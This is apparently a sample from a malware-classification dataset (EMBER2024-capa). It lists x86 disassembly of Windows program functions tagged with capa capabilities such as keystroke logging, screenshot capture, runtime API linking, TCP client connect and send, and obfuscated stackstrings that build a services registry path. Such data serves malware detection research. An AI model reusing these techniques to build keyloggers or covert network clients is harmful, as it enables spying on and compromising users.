joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43b908
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x45cba0], 0
je 0x43ba57
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x45b520]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x43ba57
mov eax, dword [0x45cba4]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x45cba0]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x43ba26
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x45cba0]
call fcn.00413ae0
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x43ba1e
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x43ba1e
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x43ba1e
mov eax, dword [ebp - 0x14]
call fcn.00444684
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43ba1e
push ebp
call fcn.0043b8c4
pop ecx
test al, al
jne 0x43ba1e
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x43b9da
mov eax, dword [ebp - 0x14]
call fcn.004431b4
dec eax
jle 0x43ba1e
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.004034c0
cmp byte [ebp - 1], 0
je 0x43ba1e
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x43ba1e
mov edx, dword [ebp - 0x14]
mov eax, dword [0x45cba4]
call fcn.0043b090
inc edi
dec ebx
jne 0x43b96d
mov eax, dword [0x45cba4]
cmp dword [eax + 8], 0
jle 0x43ba3e
mov eax, dword [0x45cba4]
call fcn.0043b120
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x43ba57
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0043b72c
pop ecx
test al, al
jne 0x43ba57
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43f01c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x43f068
mov eax, esi
call fcn.0042e940
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x43f068
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x43f068
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x43f1a7
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x43f0a8
cmp eax, 0x108
ja 0x43f0a8
mov eax, esi
call fcn.0042e940
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x43f19e
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x43f1a7
jmp 0x43f19e
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x43f187
cmp eax, 0x20a
ja 0x43f187
test byte [esi + 0x50], 0x80
jne 0x43f0da
sub eax, 0x203
je 0x43f0d7
sub eax, 3
je 0x43f0d7
sub eax, 3
jne 0x43f0da
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x43f0ee
dec eax
je 0x43f103
dec eax
je 0x43f120
dec eax
je 0x43f103
jmp 0x43f127
mov ecx, ebx
mov eax, dword [0x45b520]
mov eax, dword [eax]
mov edx, esi
call fcn.0043820c
jmp 0x43f19e
cmp byte [esi + 0x5d], 1
jne 0x43f119
mov eax, esi
mov si, 0xffed
call fcn.004034c0
jmp 0x43f1a7
or word [esi + 0x54], 1
jmp 0x43f19e
and word [esi + 0x54], 0xfffe
jmp 0x43f19e
mov eax, dword [0x45cb5c]
cmp byte [eax + 0x20], 0
je 0x43f19e
mov eax, dword [0x45cb5c]
cmp dword [eax + 0x1c], 0
je 0x43f19e
mov eax, dword [ebx]
mov edx, dword [0x45cb5c]
cmp eax, dword [edx + 0x1c]
jne 0x43f19e
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.0042e884
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.004034c0
jmp 0x43f1a7
cmp eax, 0xb00b
jne 0x43f19e
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.0043d958
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x442814
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x442830
cmp dword [esi + 4], 0
je 0x44285d
test byte [ebx + 0x55], 1
jne 0x44284f
mov eax, ebx
call fcn.004412b4
test eax, eax
jne 0x44284f
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x44296d
mov edx, esi
mov eax, ebx
call fcn.00442338
jmp 0x44296d
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x442966
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00444684
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.0043ef50
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00442814
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.00444684
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44296d
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x448f3c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x45b6c0]
cmp byte [eax + 0xc], 0
je 0x4490a9
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4490a2
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x45cbb0], 0
jne 0x448f90
push 0x4490b0
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x4490b8
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45cbb0], eax
cmp dword [0x45ac80], 0
jne 0x44908b
push 0x4490c8
call sub.kernel32.dll_LoadLibraryA
mov dword [0x45ac80], eax
cmp dword [0x45ac80], 0
je 0x44908b
push 0x4490d4
mov eax, dword [0x45ac80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45cbb4], eax
push 0x4490e4
mov eax, dword [0x45ac80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45cbb8], eax
push 0x4490f8
mov eax, dword [0x45ac80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45cbbc], eax
push 0x449110
mov eax, dword [0x45ac80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45cbc0], eax
push 0x449128
mov eax, dword [0x45ac80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45cbc4], eax
push 0x44913c
mov eax, dword [0x45ac80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45cbc8], eax
push 0x449154
mov eax, dword [0x45ac80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45cbcc], eax
push 0x44916c
mov eax, dword [0x45ac80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45cbd0], eax
push 0x449188
mov eax, dword [0x45ac80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45cbd4], eax
push 0x449194
mov eax, dword [0x45ac80]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45cbd8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4490a9
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x44a5bc
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404014
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x44a60b
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404284
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x452808
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
mov ebx, 0x45cbfc
jmp 0x452820
push 0x4529cc
call sub.kernel32.dll_GetModuleHandleA_3
mov dword [ebx], eax
push 0x4529dc
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45ad98], eax
push 0x4529ec
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc04], eax
push 0x4529fc
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc08], eax
push 0x452a0c
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc0c], eax
push 0x452a1c
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc10], eax
push 0x452a2c
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc14], eax
push 0x452a3c
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc18], eax
push 0x452a4c
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc20], eax
push 0x452a58
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc1c], eax
push 0x452a64
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc2c], eax
push 0x452a70
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc24], eax
push 0x452a7c
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc28], eax
push 0x452a8c
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc30], eax
push 0x452aa0
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc34], eax
push 0x452ab0
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc38], eax
push 0x452ac4
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc48], eax
push 0x452ad8
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc4c], eax
push 0x452ae8
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc50], eax
push 0x452afc
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc54], eax
push 0x452b08
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc58], eax
push 0x452b14
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc5c], eax
push 0x452b20
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_2
mov dword [0x45cc64], eax
jmp 0x4529c8
pop ebx
ret
Function at 0x401470
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x407ae8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x19c
push esi
mov esi, ecx
mov dword [esp + 0xc], esi
lea ecx, [esi + 4]
call fcn.00401000
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a8], 0
call fcn.00401000
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a8], 1
call fcn.00401000
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a8], 2
call fcn.00401000
lea eax, [esp + 0x10]
mov byte [esp + 0x1a8], 3
push eax
push 0x202
mov dword [esi], 0x408258
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea ecx, [esp + 4]
mov dword [esi + 0xac], eax
push 5
mov byte [esi + 0xb0], 0
mov dword [esi + 0xa8], 0xffffffff
mov al, 0x75
push ecx
mov ecx, dword [0x40ab54]
push 0x40a614
mov byte [esp + 0x10], 0x4b
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x47
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], al
call fcn.004043d0
mov ecx, dword [0x40ab54]
push 0x40acb4
call fcn.004044d0
mov ecx, dword [0x40ab54]
push eax
push 0x40acb4
push 0x40a820
call fcn.004046f0
mov ecx, dword [esp + 0x1a0]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a8
ret
Function at 0x401660
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x1c
push ebp
mov ebp, dword [esp + 0x24]
push esi
push edi
test ebp, ebp
mov esi, ecx
jne 0x40167b
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret 8
mov eax, dword [esp + 0x30]
test eax, eax
jne 0x40168e
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret 8
mov ecx, esi
call fcn.00402010
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov byte [esi + 0xb0], 0
mov eax, dword [0x40a61c]
test eax, eax
je 0x4016c7
cmp eax, 4
je 0x4016c7
cmp eax, 5
je 0x4016c7
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x4016e9
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret 8
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x4016ff
pop edi
pop esi
pop ebp
add esp, 0x1c
ret 8
mov eax, dword [0x40a61c]
mov word [esp + 0x18], 2
test eax, eax
je 0x401719
mov cx, word [0x40a020]
push ecx
jmp 0x40171e
mov edx, dword [esp + 0x30]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x1c]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0xa8]
push ecx
mov dword [esp + 0x28], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401758
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret 8
cmp dword [0x40a61c], 5
jne 0x40177d
mov edx, dword [esp + 0x30]
mov ecx, esi
push edx
push ebp
call fcn.00401820
test al, al
jne 0x40177d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret 8
mov ecx, dword [esi + 0xa8]
lea eax, [esp + 0x2c]
push 4
push eax
push 8
push 0xffff
push ecx
mov dword [esp + 0x40], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x4017de
mov ecx, dword [esi + 0xa8]
push eax
lea edx, [esp + 0x30]
push eax
push edx
push eax
push eax
lea eax, [esp + 0x20]
push 0xc
push eax
push 0x98000004
push ecx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 0xea60
mov dword [esp + 0x38], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x401b30
push 0
push 0
mov byte [esi + 0xb0], 1
call fcn.00407120
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov eax, 1
pop edi
pop esi
pop ebp
add esp, 0x1c
ret 8
Function at 0x402010
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, ecx
push 0
call edi
push 0
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0
call edi
mov edx, dword [esi + 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
call edi
lea eax, [esi + 0xb0]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call edi
mov ecx, dword [esi + 0xa8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call edi
mov edx, dword [esi + 0xac]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
call edi
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret

Function at 0x402170
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
push 0x100
rep stosd dword es:[edi], eax
mov ecx, dword [0x40ab54]
push 0x40a820
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0
push eax
call fcn.004043d0
mov ebx, dword [esp + 0x120]
mov edi, dword [esp + 0x11c]
push ebx
lea ecx, [esp + 0x1c]
push edi
push ecx
mov ecx, dword [0x40ab54]
call fcn.00404790
mov esi, dword [esp + 0x124]
mov eax, ebx
cmp eax, esi
jb 0x40222c
mov dword [esp + 0x14], 0
mov edx, dword [ebp + 0xa8]
push 0
push esi
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x40220b
mov ecx, dword [esp + 0x14]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x14], ecx
jl 0x4021e8
cmp dword [esp + 0x14], 0xf
je 0x402276
mov ecx, dword [esp + 0x10]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x14], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x4021e0
test ebx, ebx
jbe 0x40225a
xor esi, esi
mov eax, dword [ebp + 0xa8]
push 0
push ebx
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x40224d
inc esi
cmp esi, 0xf
jl 0x402232
cmp esi, 0xf
je 0x402276
mov ecx, dword [esp + 0x10]
add ecx, eax
jmp 0x40225e
mov ecx, dword [esp + 0x10]
cmp ecx, dword [esp + 0x120]
jne 0x402276
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x108
ret 0xc
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x108
ret 0xc
Function at 0x4025f0
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 0
mov dword [esp + 0x10], 0
call esi
mov eax, dword [esp + 0x14]
push 0
push 0
push 3
push 0
push 1
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40262e
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret
push 0
call esi
push 2
push 0
push 0xfffffc00
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebx, eax
push 0
call esi
lea ecx, [esp + 0xc]
push 0
push ecx
push 0x400
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call esi
mov edx, dword [esp + 0x18]
mov ecx, dword [0x40ab54]
push 0
push 0x400
push edx
push ebx
call fcn.00404580
cmp eax, 0xffffffff
jne 0x4026a5
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
ret
pop edi
add eax, ebx
pop esi
pop ebx
pop ecx
ret

Function at 0x4027b0
Capabilities:
Get common file path

Disassembly:
sub esp, 0xc
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov cl, 0x5c
mov al, 0x73
push 0
mov byte [esp + 0xc], cl
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x79
mov byte [esp + 0xf], al
mov byte [esp + 0x10], 0x74
mov byte [esp + 0x11], 0x65
mov byte [esp + 0x12], 0x6d
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0
call esi
mov ecx, 0x41
xor eax, eax
mov edi, 0x40a938
push eax
rep stosd dword es:[edi], eax
call esi
push 0x104
push 0x40a938
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
call esi
mov ecx, dword [0x40ab54]
lea eax, [esp + 8]
push eax
push 0x40a938
call fcn.00404490
mov ecx, dword [esp + 0x18]
push ecx
mov ecx, dword [0x40ab54]
push 0x40a938
call fcn.00404490
pop edi
pop esi
add esp, 0xc
ret
Function at 0x4030e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov al, 0x6c
mov edx, dword [str.Consys21.dll]
mov byte [esp + 1], al
mov byte [esp + 2], al
mov al, 0x6f
lea ecx, [esp]
mov byte [esp + 4], al
mov byte [esp + 0xb], al
mov eax, dword [esp + 0x14]
mov byte [esp], 0x44
push eax
push ecx
push edx
push 0
mov byte [esp + 0x13], 0x53
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0x57
mov byte [esp + 0x18], 0x69
mov byte [esp + 0x19], 0x6e
mov byte [esp + 0x1a], 0x64
mov byte [esp + 0x1c], 0x77
mov byte [esp + 0x1d], 0
call fcn.00402850
mov dword [0x40aa44], eax
xor eax, eax
add esp, 0x20
ret 4

Function at 0x4032d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x428
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
stosw word es:[edi], ax
stosb byte es:[edi], al
call esi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x30]
push eax
rep stosd dword es:[edi], eax
call esi
mov al, 0x65
mov dl, 0x53
mov byte [esp + 0x13], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x22], al
mov byte [esp + 0x27], al
mov cl, 0x72
mov al, 0x73
push 0
mov byte [esp + 0xc], dl
mov byte [esp + 0xd], 0x59
mov byte [esp + 0xe], dl
mov byte [esp + 0xf], 0x54
mov byte [esp + 0x10], 0x45
mov byte [esp + 0x11], 0x4d
mov byte [esp + 0x12], 0x5c
mov byte [esp + 0x13], 0x43
mov byte [esp + 0x14], 0x75
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x18], 0x6e
mov byte [esp + 0x19], 0x74
mov byte [esp + 0x1a], 0x43
mov byte [esp + 0x1b], 0x6f
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x74
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], 0x6f
mov byte [esp + 0x20], 0x6c
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x5c
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], 0x76
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x5c
mov byte [esp + 0x2e], 0x25
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], 0
call esi
mov eax, dword [esp + 0x434]
lea ecx, [esp + 8]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
call esi
mov edi, dword [esp + 0x43c]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x440]
push edi
push 1
push eax
lea ecx, [esp + 0x44]
push ecx
push connect
call fcn.00407730
add esp, 0x1c
push 0
call esi
pop edi
pop esi
add esp, 0x428
ret